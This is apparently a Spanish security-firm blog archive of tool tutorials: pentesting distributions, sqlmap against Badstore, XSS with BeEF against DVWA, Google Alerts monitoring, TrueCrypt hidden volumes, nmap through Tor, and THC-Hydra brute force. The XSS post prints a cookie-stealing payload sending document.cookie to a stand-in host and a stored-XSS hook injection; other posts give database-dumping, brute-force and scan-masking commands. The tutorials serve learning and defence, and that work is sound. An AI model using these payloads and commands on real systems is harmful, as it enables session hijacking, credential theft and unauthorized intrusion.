Category Archives: Herramientas

  • 0

Distribuciones para pentesting

Distros para todo

Hasta ahora habíamos hablado de algunas aplicaciones o distribuciones para practicas de pentesting tales como DVWA o BadStore. En estas distribuciones los distribuidores de las mismas incluyen vulnerabilidades para practicar con todo tipo de fallos, pero no habíamos hablado de soluciones de seguridad integradas.
Existen multitud de programas o distribuciones que ayudan a las personas que quieren introducirse en el mundo de la seguridad informática.
La idea de todas ellas es simple:
Tenemos primero un sistema operativo, generalmente Linux, que se arranca directamente desde un CD/DVD. Este tipo de estructura tiene sus ventajas, quizás la más importante es que al no tener que estar con lo que podemos arrancarlo en cualquier sitio y lugar y no perder los datos o sistemas que usamos normalmente.
La segunda característica es que vienen cargados de herramientas. Los hay de, llamemos le “propósito general”, que tienen herramientas para realizar cualquier tipo de ataque/defensa. También los hay mas especializados con herramientas muy especificas para actividades en concreto.

Soluciones de seguridad integradas

Bugtraq

La distribución de seguridad mas famosa de todos los tiempos. Esta distribución es de las llamadas de “propósito general”, tiene cientos de herramientas que a más de uno nos ha ayudado mucho.
Bugtraq

Kali linux

Kali es un proyecto que nació a partir de otro también conocido, Back track. La gran diferencia entre ambos es que Kali está basado en Debian mientras que BackTrack está basado en Ubuntu. Así que, básicamente es una distribución debian con unos repositorios repletos de herramientas para la auditoría informática.
Kali linux

BackBox

BackBox es una distribución Linux basada en Ubuntu Proviene con una interface de escritorio KDE y por supuesto podemos lanzar la imagen en modo live por ejemplo en una máquina virtual. Parece lo suficientemente ligera y con una interface bien pensada como para hacerse un hueco dentro de las distribuciones pensadas para este tipo de uso.
http://www.backbox.org/

Ventajas

Estas distribuciones cumplen con su función al 100% y no hay que actualizar los repositorios, ni hacer instalaciones de software de terceros adicionales para que funcionen, garantizo que incluyen herramientas que le harán dudar en si usar una distribución u otra, por el aspecto, el escritorio o cualquiero otro detalle, pero no en cuanto a herramientas ya que en todas se incluye el software necesario. Se puede guardar en un CD/DVD y usarse si detecta por ejemplo algún problema, estas distribuciones pueden ayudarle a descubrir si está sufriendo algún ataque o su sistema ha sido vulnerado y como ya comentamos sin instalación alguna.

Inconvenientes

Evidentemente, siempre hay alguno. No siempre incluyen los drivers más antiguos y tampoco muchas librerías extra. Así pues, para instalarlo como sistema es recomendable tener conocimientos del sistema Linux, a la hora de configurar aplicaciones, que no están por así decirlo, en el entorno de la distribución.
 

Video Overview BackBox

Os dejo un video de como se instala y un vistazo de BackBox, que al fin y al cabo es la más nueva de las tres, en el entorno de virtualización VirtualBox
BackBox Linux 3.13 Install and overview | Try to get back your box [HD]

 


  • 0

Conociendo SQLMap con Badstore

Figura 1: Logo de SqlMap

Figura 1: Logo de SqlMap

¿Que es sqlmap?

Sqlmap es una herramienta opensource de pentesting que se centra en explotar vulnerabilidades del tipo SQL injection en servidores de base de datos. Es una eficaz herramienta para auditar bases de datos si no estamos muy preocupados por la cantidad de registros, trazas o logs que podamos dejar en el servidor a auditar.

Un poco de historia…

Las andanzas de esta aplicación comenzaron en julio de 2006, cuando Danielle Bellucci dió de alta el proyecto en SourceForge contando con un soporte limitado para MySQL. En Septiembre de ese mismo año tomó las riendas del proyecto Bernardo Damele y a principios del año 2007 ya incorporaba funciones para auditar Microsoft SQL-Server. A finales de ese mismo año incluyeron funciones para Oracle y así continuaron añadiendo funcionalidades, hasta que, en la actualidad, se ha convertido en la mejor navaja suiza para auditar bases de datos, capaz de obtener datos de bases de datos, shells, lectura de ficheros del sistema y un gran etcétera.

Un poco mas sobre la herramienta…

SQLmap está escrito en python, un lenguaje orientado a objetos interpretado, su nombre viene de los humoristas británicos “Monty Python”, podremos ejecutarlo teniendo instalado el intérprete de python en nuestra máquina. Todo muy facilito 😉

Para ejecutarlo abriremos un terminal y nos posicionaremos en la carpeta donde está instalado sqlmap, podemos buscar donde está con el siguiente comando:

find / -name sqlmap.py

Con ese comando nos indicara la carpeta donde se encuentra el sqlmap. Nos posicionaremos en dicha carpeta y procederemos  a ejecutar sqlmap para que nos muestre la ayuda:

python ./sqlmap.py -h

Con esto podemos hacernos una idea de la cantidad de funciones que incorpora actualmente, si necesitamos más información podemos ejecutar sqlmap con el modificador -hh y nos mostrará una ayuda más extensa.

Cada vez que vayamos a usar SQLmap es bueno ejecutar su actualización con el comando, con esto actualizaremos la herramienta con las nuevas funcionalidades:

python ./sqlmap.py --update

¿Probamos el sqlmap?

Para no tener ninguna clase de problema legal a la hora de realizar pruebas con esta aplicación usaremos Badstore, una máquina virtual que ocupa 10Mb y que contiene un servidor web con fallos de SQL inyection entre otros. Creamos nuestra máquina virtual y cargamos la imagen .iso de badstore.

Os recordamos que NO se puede hacer este tipos de pruebas, ataques o como lo queramos llamar en servidores de los que no tenemos autorización.

Cuando haya terminado la carga presionaremos enter para acceder a la consola, y miraremos qué ip nos ha asignado el DHCP con el comando “ifconfig”.

Una vez hecho todo esto volvemos a nuestra shell e introducimos el siguiente comando:

python sqlmap.py --hex --forms -u http://192.168.XXX.XXX/cgi-bin/badstore.cgi -b

Los modificadores usados son los siguientes:

–hex Transforma la inyección a valores hexadecimales.
–forms Escanea los formularios de la url que le hemos pasado.
-u Indicamos la URL que queremos escanear
-b Le indicamos que nos devuelva el banner de la base de datos.

Hay otros modificadores que nos pueden ser de interés, como por ejemplo:

–current-user Nos devuelve el usuario actual que está usando la base de datos.
–current-db Nos devuelve la base de datos actual que esta usando el usuario de la web.
–batch Con este comando se introduce la respuesta por defecto cada vez que el programa pregunte.
–random-agent Sirve para tener la cabecera de un navegador distinto cada vez que ejecutemos el comando.
–mobile Con este modificador pordemos imitar la cabecera de un navegador de un teléfono móvil.

Al ejecutar este comando sqlmap nos irá pidiendo la información que necesite:

sqlmap-badst-testformquestion

En este caso nos pregunta si queremos comprobar el formulario que hay en la página k hemos incluido con el modificador -u (–url). La opción marcada en mayúsculas es la opción por defecto, así que en este caso solo debemos darle a la tecla enter directamente.

mayitvulnerable

Vemos que nos va imprimiendo por pantalla las posibles vulnerabilidades que va encontrando. Mas adelante cuando constata la vulnerabilidad nos muestra por pantalla el payload o firma para esa vulnerabilidad y nos pregunta si deseamos explotar esa vulnerabilidad.
payloadbadstore

Una vez explotada pasa a mostrarnos lo que le hemos indicado con el modificador -b (–banner)

banner-badstore-sqlmap

Un paso importante es saber el nombre de la base de datos a la que vamos a atacar, para ello ejecutamos el comando con el modificador –current-db, el cual nos devolverá el nombre de la base de datos actual.

python sqlmap.py --hex --forms -u http://192.168.xxx.xxx/cgi-bin/badstore.cgi --current-db

current-db-badstore-sqlmap

Llegados a este punto, debido a la versión de la base de datos de Badstore no podemos consultar ninguna lista con el nombre de tablas ya que carece de information_schema y los modificadoes –tables y –columns no nos servirán de mucho. Por tanto tendremos que intentar una inyección “a ciegas” esto es, sin saber nada acerca de los nombres de las tablas, para facilitar la etapa de descubrimiento SQL-Map incorpora diccionarios que agilizan dicha tarea.

Primero intentamos con el siguiente comando:

python sqlmap.py --hex --forms -u http://192.168.xxx.xxx/cgi-bin/badstore.cgi -D badstoredb --tables

En este caso, al no poder extraer las tablas, nos pregunta si deseamos usar los nombres de tablas más frecuentes, los cuales están en el directorio de instalación de sqlmap, concretamente en el directorio txt.

noinformationschema

Nos pedirá el numero de hilos o numero de pruebas simultaneas que queremos utilizar y seguidamente se dispondrá a comprobar los nombres de las tablas.

numberthreads-triedtables

Una vez la tengamos, dumpeamos la tabla userdb, en ella estarán los usuarios de badstore, en este caso, sqlmap detecta que hay hashes en MD5 en la tabla que estamos dumpeando y nos pregunta si queremos pasarle un diccionario por si alguna de las passwords figuran en el. Para ello utilizamos el siguiente comando:

python sqlmap.py --hex --forms -u http://192.168.1.108/cgi-bin/badstore.cgi -D badstoredb -T userdb --dump

crackedpasswds

En el caso de badstore encuentra la mayoría, lo que nos brinda un acceso como administrador en este sparring virtual. Lo importante es hacernos una idea de el uso de esta herramienta, de lo que se puede hacer en una auditoria o lo que pueden hacer los “malos”. La idea al final de la explotación de una inyección SQL es acceder a la Base de Datos del sistema y robar los datos que se guardan. Estos datos pueden ser desde información de la propia empresa como listas de direcciones, nombres, emails, teléfonos, etc.

Nuestro grupo de Auditorias Informáticas están muy al tanto de cualquier nueva herramienta que pueda servir para realizar estas auditorias, así como de los diferentes métodos que existen para evitar sufrir un ataque de estas características.

Un saludo!


  • 0

Introducción a XSS y BeEF

The Browser Explotation Framework Project

 

 

Introducción a XSS

Técnicamente, una inyección de código XSS se produce cuando un atacante envía código malicioso a través de un formulario de una página web y esta web responde mostrando información que no debe porque el servidor ha interpretado esa entrada como un script y lo ha ejecutado, cosa que no debería pasar. Sin embargo el XSS Cross-site Scripting es una de las principales amenazas y más extendidas dentro de la web. Permitiendo una variedad de ataques que se han ido perfeccionando con el tiempo y han dado lugar a que aparezcan herramientas como beef, completos frameworks que mal utilizados puedes ser usados para fines antitéticos fraude, robo de información, etc.

 

Peligros, ¿Que podría un atacante conseguir inyectando código malicioso en una página web?:

  • Control sobre el navegador de la víctima
  • Reversering
  • Robo información
  • Robo de contraseñas
  • Robo de cookies de sesión
  • Defacement
  • Utilizar el navegador de una víctima como proxy web
  • DNS Tunneling
  • Inutilización de la web
  • Descubrimiento de red
  • Redirecciones o reenvío de mails
  • Etc…

La mayoría de las webs contienen formularios, ya sean formularios de login, o simples formularios de contacto, o firma. Estos formularios son procesados por el navegador como el resto de la página, por lo tanto estos formularios son susceptibles de recibir una información que luego mostrará interpretándose por el servidor web, para luego mostrarse en la página.

Tipos de Inyecciones XSS

Existen tres tipos de inyecciones XSS:

Tipo Indirecto o Reflejado

Cualquier formulario que permita la inyección de código que luego será interpretado por el servidor, en muchos casos mostrando incómodos mensajes y/o mostrando información que no se debería mostrar, el resultado de la inyección se ve “reflejado” directamente en el navegador.

Persistente

Se da en casos, donde hay un formulario que mostrará la información enviada a través de él cada vez que se cargue la página. Son las más peligrosas, puesto que persisten, en la página. Son típicos formularios de foros y firmas que luego verán los demás usuarios.

DOM Based XSS

Es cuando el la infección se realiza modificando la configuración del navegador de la víctima a través de el script inyectado. Document Objet Module, es una api que usan los navegadores web para presentar y/o modificar la información de documentos XML y HTML y este tipo de infección utiliza esta api para infectar el navegador.

Un ejemplo de los peligros de robo de la cookie de sesión, imaginemos este código inyectado dentro de las etiquetas <script>/script>

href=# onclick="document.location='http://maliciososite.com/xss.php?c='+escape(document.cookie);">Hello!!!

Esto podría hacer que un usuario pulsase inconscientemente en este link, que envía la cookie generada a un sitio web deseado por el atacante permitiéndole suplantar la sesión. Como se ve maliciososite.com/xss.php?c= recibiría por método $POST “c” la cookie del usuario que pulsase ese enlace. Normalmente estos sitios web, han sido “secuestrados” por ciberdelincuentes que están recolectado datos de incautos usuarios, incluso guardándolos en la base de datos de la propia web.

BeEF The Browser Explotation Framework

beefproject.com es una herramienta que nos permite automatizar este proceso de inyección, permitiendo utilizar un framework para interactuar con el navegador infectado. BeEF hace uso de un script llamado “Hook.js” que actúa como nexo de unión entre el atacante y el navegador de la víctima ejecutando las instrucciones mediante javascript.

La instalación de beef es muy fácil, solo hay que instalarlo desde GitHub y ejecutarlo:

git clone https://github.com/beefproject/beef
cd beef
install bundle
./beef

Una vez esta instalado podemos empezar a utilizar el framework. Por defecto escucha en el puerto 3000, así que abrimos el navegador http://localhost:3000/ui/panel e introducimos como usuario “beef” y contraseña “beef”.
Una vez tenemos el programa beef corriendo, tenemos que inyectar código en alguna web y que sea persistente el xss para que cuando alguien cargue dicha página reciba la carga en su navegador.

Beef mostrará las interfaces en las que esta corriendo y las urls del panel y de hook.js:

[22:48:55][+] running on network interface: 127.0.0.1
[22:48:55]    |   Hook URL: http://127.0.0.1:3000/hook.js
[22:48:55]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[22:48:55][+] running on network interface: 192.168.1.117
[22:48:55]    |   Hook URL: http://192.168.1.117:3000/hook.js
[22:48:55]    |_  UI URL:   http://192.168.1.117:3000/ui/panel
[22:48:55][+] running on network interface: 25.0.3.5
[22:48:55]    |   Hook URL: http://5.0.3.5:3000/hook.js
[22:48:55]    |_  UI URL:   http://5.0.3.5:3000/ui/panel
[22:48:55][+] running on network interface: 10.0.0.14
[22:48:55]    |   Hook URL: http://10.0.0.14:3000/hook.js
[22:48:55]    |_  UI URL:   http://10.0.0.14:3000/ui/panel

De esta forma el usuario que visite la web con la inyección “TeamSec<script src=”http://192.168.1.117:3000/hook.js”>” quedará automáticamente infectado si no posee protección alguna.

Prueba concepto contra DVWA, ver post Dam Vulnerable apps

Reflected XSS

xss1xxs

Ahora vamos a probar contra el xss stored o persistente

He tenido que acortar la inyección ya que dvwa no permite introducir más de 50 caracteres en el formulario, así que http://192.168.1.117:3000/hook.js no cabía, lo he resuelto gracias al acortador de urls bitly
De esta forma cada vez que alguien cargue la página abrirá una conexión contra beef, además no se habrá dado cuenta, aparece el mensaje TeamSec y el script se carga en el navegador, no se detectará un comportamiento anómalo si no se dispone de protecciones.

xxs3beef

 

 

 

 

 

 

 

 

 

Beef tiene funcionalidades tan maliciosas como poder encender la webcam del ordenador infectado. Ofrece al usuario infectado la posibilidad de activar su web cam vía web, si este cae en la trampa, su webcam se activará mostrando al atacante la imagen de la víctima o de los objetos que rodean al ordenador.

Ejemplo de falso timeout session prefabricado para Facebook

Beef es una aplicación de pentesting que salta las barreras de seguridad en mayor medida con ayuda del propio usuario. Tenga en cuenta que la mayoría de usuarios desconocen los entresijos de la programación web y el funcionamiento propio de internet, es por esto que beef ofrece una serie de módulos que nos facilitarán la tarea, de la ingeniería social.

Módulos de beef especialmente maliciosos para hacer ingeniería social ¿No tiene las credenciales?. Pregúntaselas al usuario:

  • The Pretty Theft Este módulo muestra un mensaje explicando que la sesion del usuario ha expirado y debe introducir de nuevo su login y password.
  • The Simple Hijacker Este modulo trae un montón de plantillas para distintas ingenierías sociales, que se mostrarán cuando el usuario haga click en un enlace
  • Clippy Crea un pequeño asistente para “actualizar” el navegador

Muchos usuarios pican en estas trampas, cediendo todo tipo de credenciales, datos privados y claves de sus cuentas con las principales redes sociales.

Cualquier web que haya sido inyectada pasa de ser un sitio inofensivo a uno atacante, pudiendo crear muchas molestias a los usuarios, que aunque no hayan visto afectados sus navegadores, es posible que sí puedan ver mensajes emergentes, alertas, etc.

Como prevenir los XSS injection

Del lado del cliente, existen distintos métodos. Es buena idea usar proxys que filtre información o filtros web como NoScript, que se instalan en el navegador.

Del lado del servidor, como siempre los fallos en su mayoría provienen de errores de programación, es buena idea usar frameworks para el testeo a nivel de código antes de poner software en fase de producción. La falta de firewalls y filtros para xss facilitarían la tarea de la búsqueda de fallos por parte de los atacantes y que además no se impida la redirección a sitios maliciosos.
Aconsejamos tener como referencia la guía de OWASP para prevención de XSS. OWASP_Prevention_Cheat_Sheet

La política del mismo origen previene que un documento o script cargado en un “origen” pueda cargarse o modificar propiedades del documento desde un “origen” diferente. Se trata de uno de los conceptos de seguridad más importantes de los navegadores modernos y que se debería seguir implementándose de la misma forma cuando se desarrolla aplicaciones web.

Hasta aquí se muestra un poco, lo que puede hacer, con esta herramienta, instalada y configurada. Imagine por un momento que esa web es la suya o la de su organización. En su web el delincuente ha entrado y le ha dejado de “regalo” una instalación totalmente funcional del Beef. No ha modificado nada o por lo menos no es consciente de esa modificación pero lo suficiente para que sus clientes no se den cuenta que están siendo infectados cuando acceden a su pagina.

En TeamSec estaremos encantado de asesorarles sobre como prevenir este tipo de ataques e eliminarlos por completo dado que disponemos profesionales especializados y altamente experimentados.


  • 0

Monitorizar nuestro blog/web usando Google Alerts

Imaginémonos que disponemos de un blog o una web y que queremos que esté monitorizada para evitar que nos metan algún tipo de malware, o simplemente modifiquen alguna página de las creadas, o en general cualquier tipo de cambio que se pueda hacer en las páginas que tenemos. Pero claro, no disponemos de los medios, tiempo o cualquier excusa, para montar una arquitectura de monitorización. Porque al final son plataformas caras que no siempre compensan para una única pagina web.

Existe una herramienta que nos puede ayudar a solventar este problema. Nunca será como montar un sistema que nos avise cuando se produce el hecho, pero sí  tendremos por lo menos algo a lo que prestar atención. Y como se suele decir, mejor tener algo que nada.

Esa herramienta es una funcionalidad de Google que se llama Alerts “https://www.google.com/alerts”. Esta herramienta de Google está enlazada con nuestra dirección de correo de gmail. Se configura creando Alertas como las llaman ellos o Búsquedas en su web, y nos avisa cuando recibe una nueva página que cumple con la ocurrencia. Dicho en otras palabras cuando una página con lo que digamos que monitorice se mete en el buscador de Google, nos enviará un correo con un enlace a esa página.

Lo primero que debemos hacer es entrar en la página de Alertas de Google para crear una alerta. El enlace está en el párrafo anterior. Nos saldrá una pantalla en la que aparece lo siguiente:

Figura 1: Pagina donde se define la búsqueda en Google Alerts.

Figura 1: Página donde se define la búsqueda en Google Alerts.

En ese formulario es donde definiremos la búsqueda o alerta que nos enviará Google cuando encuentre una página.

En nuestro caso, por ejemplo, queremos monitorizar este blog, además tenemos que comprobar que no añaden malware bancario, o similar. La búsqueda podría ser algo así:

site:teamsec.es gmail OR Dropbox OR Amazon OR PayPal OR Deutsche OR Postbank OR Google OR RBC OR Sparkasse OR Poste OR Italiane

La explicación:

  • site: indicamos el dominio del blog o dirección donde se buscarán las entradas (ejemplo: teamsec.es)
  • <palabra de búsqueda>: buscará esa palabra en las nuevas páginas que indexe.
  • OR: enlazamos palabra por palabra para que la búsqueda sea algo así “envíame un correo si encuentras las palabras <palabra1> o la <palabra2> o […] que estén en las páginas del sitio teamsec.es”

Si escribimos la búsqueda en el formulario, deberemos pulsar seguidamente en “Show Options”, “Mostrar Opciones” o similar. Nos aparecerán las opciones de búsqueda, si solo buscaremos en paginas en Ingles, español, etc, cada cuanto enviará la alarma, etc.

Figura 2: Opciones de definición de Alerta en Google.

Figura 2: Opciones de definición de Alerta en Google.

La recomendación es que en las opciones nos envíen un correo cuando pase la alerta (opción 1), que las fuentes sean “automáticas” (opción 2), que sea cualquier idioma (opción 3), cualquier región (opción 4), que envíe todos los resultados (opción 5). Quedaría algo así.

Figura 3: Resultado con las recomendaciones de la alerta de motorización.

Figura 3: Resultado con las recomendaciones de la alerta de motorización.

Sólo falta pulsar sobre el botón de “Create Alert” y se creará la alerta para la búsqueda que hemos especificado. Ahora cada vez que el motor de búsqueda de Google cachee una página con esas palabras me enviará un correo electrónico indomesticado.

Como hemos visto es una manera sencilla y barata de monitorizar cambios en un Web o blog.

 


  • 0

TrueCrypt , ¿Quieres guardar un secreto?

logo38px TrueCrypt es un software para encriptación de datos de código abierto y la mantención de un volumen de encriptación On-the-fly de los datos de un sistema operativo encriptado en una partición.
Entre sus características más destacables nos encontramos:
– Capacidad para encriptar particiones, como si se tratasen de un solo fichero
– Puede encriptar particiones enteras o un dispositivo extraíble como un USB.
– Puede encriptar la partición de un sistema operativo, introduciendo un sistema de autenticación
previo a la carga del mismo.
– La encriptación se hace en tiempo real y transparente. Encryption on-the- fly(*ver más abajo)
– La paralelización y el pipelining le permiten usar dicha partición ser leída y escrita con un
rendimiento similar al de un disco no encriptado.
– La encriptación puede ser acelerada en aquellos procesadores modernos que lo permiten,
a través del hardware-accelerated AES encryption
– Provee de un sistema de denegación pausible. Por ejemplo si alguien te obligase a revelar la clave
mediante la fuerza, mediante el uso de volúmenes ocultos.

*Encriptación On-the-fly significa que los datos son automáticamente encriptados o desencriptados justo antes que esta sea cargados, o guardados, sin intervención de parte del usuario. Además todo esto se hace siempre en la memoria del sistema con lo cual los datos nunca se ven grabados o leídos en otro soporte. Esto permite ejecutar el sistema operativo con el sistema de archivos entero  encriptado, así como su contenido, sin casi reducir el rendimiento del sistema.

¿Como se consigue que un atacante, no pueda descubrir los datos ocultos, incluso si nos vemos obligados a entregarle la contraseña, por ejemplo, vamos a suponer, que nos estén extorsionando?


Antes de nada hay que decir que este sistema requiere de una partición cifrada previa que llamamos volumen oculto, a diferencia de un volumen stardard de truecrypt, que no es más que un archivo cifrado,  los datos en esa partición se encuentran de por sí indescifrables puesto que se escriben datos aleatorios en vez de hacerse un formateo habitual, con lo cual se hace indistinguible un fichero de volumen de truecryp del resto de los datos de la partición.  TrueCrypt soporta tanto particiones ocultas, como particiones del sistema operativo encriptadas (on-the-fly) , con una utilidad para la carga del mismo que se llama TrueCrypt bootloader, esto quiere decir que se puede instalar por ejemplo, una copia de Windows7 dentro de una partición encriptada, meter la clave, arrancarlo y aún así sería imposible discernir que datos contienen el volumen oculto de truecrypt en esta. Como se habrá adivinado, hacen falta dos claves, una para descifrar el los datos de la partición encriptada  y otra para descifrar los datos en el volumen truecrypt. Además aunque el atacante nos haya obligado a entregar la clave de la partición cifrada, el volumen oculto de truecrypt sigue siendo indistinguible del resto de los datos de la partición, así que el atacante no podrá saber si existe un volumen oculto en la misma.

Como funciona:
TrueCrypt primero intentará descifrar el encabezado de volumen estándar utilizando la contraseña introducida. Si no lo consigue , se carga la zona del volumen en el que una cabecera de volumen oculto se puede almacenar es decir,de 65.536 a 131.071 bytes , que contienen datos únicamente al azar cuando no hay un volumen oculto dentro del volumen en la memoria RAM e intenta descifrarlo utilizando el contraseña introducida. Tenga en cuenta que los encabezados de volumen oculto no puede ser identificado , ya que parecen consistir enteramente en datos aleatorios. Si el encabezado se descifra con éxito, la información sobre el tamaño del volumen oculto se recupera de la cabecera e descifrado almacenada en la memoria RAM , y el volumen oculto se monta.

hidden-volume


Además esta herramienta viene con un asistente que facilitará la tarea de crea un volumen cifrado de forma muy intuitiva y con un gran número de opciones, como los tipos de algoritmos criptográficos que se pueden utilizar. En muy cómodos pasos a cualquiera que lo desee crear un volumen cifrado de truecrypt o una partición cifrada que contenga volúmenes cifrados, sin complicaciones.

 

xps_wizardciphers

 

Conclusión. Es buena idea guardar de esta forma información que no se quiera revelar a terceros, sobre todo si se almacenase en una máquina que pudiera ser vulnerable a algún tipo de ataque informático. Hay que tener en cuenta que muchas veces se producen ataques sobre las cuentas de usuario para hacerse con sus contraseñas y acceder a los archivos a los que estos tienen acceso o a archivos compartidos, una de las advertencias que nos hace truecrypt es la de usar una clave de más de 20 digitos, frente a los entre 8 y 12 que suelen utilizar los usuarios más confiados, esto obliga a usar otra clave más larga y más consistente que la del usuario. De esta forma la información solo será revelada en la memoria del sistema cuando sea descifrada y a cualquier atacante que se hiciese copia del archivo le sería ilegible, dado que desconocería la clave,  haciendo inútil todo su esfuerzo.


¿Quieres guardar un secreto? Pues guárdalo bien.


  • 0

Escaneando con NMAP a través de TOR con proxychains

nmaptor
NMAP es la herramienta más famosa para el escaneo de redes, con ella podremos escanear host, puertos, servicios, descubrir el sistema operativo de la víctima, información relacionada con el hardware, etcétera. NMAP se puede usar desde los dos lados del hacking, bien para descubrir qué servicios tenemos abiertos y poder detectar malware o backdoors, o bien para obtener información de interés a la hora de planificar un ataque. NMAP a su vez viene provisto de scripts para poder comprobar servicios concretos. A la hora de querer enmascarar nuestra identidad tenemos que hacerlo a través de un proxy o la red Tor, si no, a la víctima le llegarán directamente a sus logs nuestra dirección IP. A la hora de encaminar hacia la red tor tenemos disponibles algunas aplicaciones como torsocks o tsocks para dirigir el tráfico a la red Tor. Primero, vamos a instalarnos el servicio tor, si estamos en una distribución GNU/Linux podremos instalarlo directamente desde los repositorios:

# apt-get install tor && apt-get install tor-arm

En caso de no tenerlo en repositorios, debemos descargar el código fuente de aquí, compilarlo e instalarlo. Una vez se haya instalado correctamente, comprobamos si está iniciado con el siguiente comando:

# service tor status

De no estar corriendo, lo arrancamos con:

# service tor start

Los usuarios de Windows pueden realizar esta práctica usando el “Tor browser bundle“, a fin de cuentas, el objetivo es tener el servicio tor instalado para enviar la información a través de él. Una vez tenemos el servicio listo y funcionando, tenemos que usar una aplicación para dirigir el tráfico de la aplicación que queramos a nuestro proxy TOR.
Proxychains es un software destinado a establecer conexiones a través de proxy, en este caso nos proponemos pasar el tráfico por nuestro proxy para enrutar el tráfico al servicio TOR pero se puede enviar la información a proxys HTTP, SOCKS4 o SOCKS5, si no queremos usar tor pero en cambio si queremos conectarnos desde un proxy o lista de proxys podemos buscar en hidemyass para obetener proxys a los que conectarnos. Los usuarios de GNU/Linux podemos instalarlo simplemente con el siguiente comando:

sudo apt-get install proxychains

Los usuarios de Microsoft Windows tendrán que usar otro software que cumpla esta función como sockschains  , en este caso sockschains es software privativo, y como no, de pago, aunque te regalan un tiempo de prueba.
Proxychains usa un fichero donde almacena su configuración, ahí podremos indicarle a qué proxy o cadena de proxys queremos usar para la conexión. Para poder editar el fichero ejecutamos:

# nano /etc/proxychains.conf

Ahora incluimos al final la siguiente línea:

proxylist

Con ello indicamos que el proxy Tor está en nuestra máquina (localhost) en el puerto 9050. Podemos indicarle también otro proxy o una lista de proxys para establecer una cadena. Tenemos más opciones para configurar en este fichero:

  • strict_chain Con esto indicamos que nos coja todos los proxy de la lista, debemos mirar en qué orden queremos que se conecte a los proxys a la hora de escribir la lista, podemos alternarlo con random_chain.
  • random_chain Aquí indicamos que nos hará una cadena aleatoria con el listado de proxys que le definimos más abajo.
  • chain_len = 2 Con esto indicamos la longitud de la cadena aleatoria, debemos tener activado random_chain.
  • proxy_dns  Con esto dirigimos el tráfico dns generado por la aplicación hacia el proxy.

Ahora que lo tenemos configurado podemos ejecutar proxychains e indicarle que ejecute el escáner de puertos:

# proxychains nmap -v -sT <HOST>

nmap_por_tor_sockschains
Ahora nos va mostrando la información a la vez proxychains y nmap: Proxychains nos indica que se ha establecido la conexión tcp a través de TOR y NMAP nos va mostrando su avance. Mientras realiza el escaneo podemos ejecutar tor arm y comprobar que el tráfico se está enviando a través de nuestro proxy en TOR.

tor_arm

Debemos tener en cuenta que la red TOR y proxychains sólo acepta tráfico TCP, así que no podremos realizar los escaneos de tráfico UDP (-sU). En resumidas cuentas es un proceso que requiere poca configuración y que nos permite (a pesar de la lentitud) poder dirigir las conexiones de las aplicaciones que queramos a la red tor dificultando así la detección de quién realiza el escaneo. Si pretendemos redirigir el tráfico http de una aplicación, joomscan por ejemplo, necesitamos un proxy http que redirija el tráfico, por tanto debemos instalar privoxy, configurarlo para que utilize la red tor, sustituir la dirección en el fichero /etc/proxychains.conf por la de nuestro privoxy y lanzar el comando.

Un saludo!


  • 0

THC-Hydra

Hydxhydrara es una herramienta de auditoría que se basa en la fuerza bruta, es especialmente versátil dado que soporta un gran número de servicios con los que puede intentar comunicarse repetidamente, además es multithread (multihilo), con lo cual puede ejecutar varios intentos simultáneamente, claro está, si estos intentos no son rechazados.

https://www.thc.org/thc-hydra/

Puede utilizarse y se ha utilizado para obtener contraseñas, como ya dije, intenta comunicarse con un servicio y como ya es comprensible, al utilizar un servicio normalmente, este necesita que introduzcamos un nombre de usuario y una contraseña. Puede ser nuestro correo, nuestra cuenta de voip, o algo más interno, como la contraseña de configuración de un router wifi. Hydra automatiza el trabajo de prueba y error que supondría tener que intentar esto mismo a mano, es una de esas herramientas que funcionan con la nada sofisticada pero si eficaz técnica de la fuerza bruta.

Hydra es especialmente útil en cuanto a ataques a autenticación web. Podemos adecuar el ataque por fuerza bruta a numerosos escenarios de autenticación web, si antes previamente sabemos cual utiliza.

El descubrimiento de los métodos de autenticación de una página web nos ayudará a conformar un ataque acorde al sistema de autenticación y, a no ser que se hayan implementado unos sistemas muy restrictivos en muchos casos nos vamos a encontrar unos formularios html básicos, simplemente, por ejemplo mirando el código fuente de la página, que normalmente va a contener unas etiquetas como estas:

<form method="POST" action="login">
<input type="text" name="username">
<input type="password" name="password"> </form>

Como se ve el formulario cumple su función, recoge los datos usuario y contraseña y los envía mediante el método POST.

Vamos a poner tres ejemplos de hydra para usar la fuerza bruta contra autenticaciones web:

Ejecutar hydra para que simule la autenticación HTTP Básica. Correspondería al formulario anterior

hydra -L lista_usuarios -P diccionario 168.5.78.95 http-head /zonausuarios/

Fuerza bruta contra HTTP Digest Authentication. Digest authentication añade un poco más de seguridad a la autenticación cifrando la contraseña con el algoritmo MD5, pero básicamente el uso de hydra es el mismo

hydra -l admin -P diccionario 168.5.78.95 http-get /usuarios

Fuerza bruta para HTML Form Based Authentication

Vamos a suponer que nos encontramos una web, con un formulario de autenticación donde podemos ver estas etiquetas html:

<form name="input" action="login.php" method="post">
<input type="text" name="user">
<input type="password" name="password">

Cuando introducimos mal el usuario el sistema nos comunica un error–> Not allowed. Con esta información podemos conformar una ataque con hydra de la siguiente manera

hydra -L lista_usuarios -P diccionario 168.5.78.95
https-post-form "/index.cgi:login&name=^USER^&password=^PASS^&login=Login:Not allowed" &

La potencia de hydra reside en su flexibilidad a través de opciones que nos ofrece, ya que además de soportar una gran cantidad de servicios, podemos modificar su comportamiento, pudiendo conseguir que el ataque no sea detectado como tal si el sistema ofrece alguna protección contra numerosos intentos de autenticación.

Opciones del programa hydra:

.-R restaura una sesión previa, ya sea abortada o interrumpida

-S Conexión SSL

-s <PORT> Especifica el puerto si es distinto al puerto por defecto del servicio

-l <LOGIN> o -L <FILE> si usamos -l tendremos que poner un nombre de usuario único si usamos -L podemos hacer que hydra pruebe con una lista de usuarios

-p <PASS> o -P <FILE> Si usamos -p hydra usará una única password. Esta opción es útil cuando se conoce que un dispositivo de red contiene un usuario y contraseña por defecto en combinación con la opción -M, por ejemplo.Si usamos -P hydra usará un archivo de passwords, o más concretamente un diccionario de passwords

-e <ns> -checkeos adicionales para passwords nulos y/o intentar usar el nombre de usuario como password

-C <FILE> Podemos usar un archivo con el formato “login:pass” en vez de proporcionar las opciones -L y -P

-M <FILE> – Usando esta opción podemos decirle a hydra que ataque en paralelo a una lista de servidores

-o <FILE> Escribirá las contraseñas encontradas en un archivo FILE

-f salir después del primer login/password encontrado. Esto detiene hydra cuando encuentra un resultado positivo.

-t <TASKS> número de conexiones en paralelo que deseamos para le proceso(16 por defecto)

-w Se puede definir el tiempo de espera entre respuestas (30 por defecto)

-v / -V Define el modo de reporte mostrando el modo verbose o mostrando el login + password de cada intento

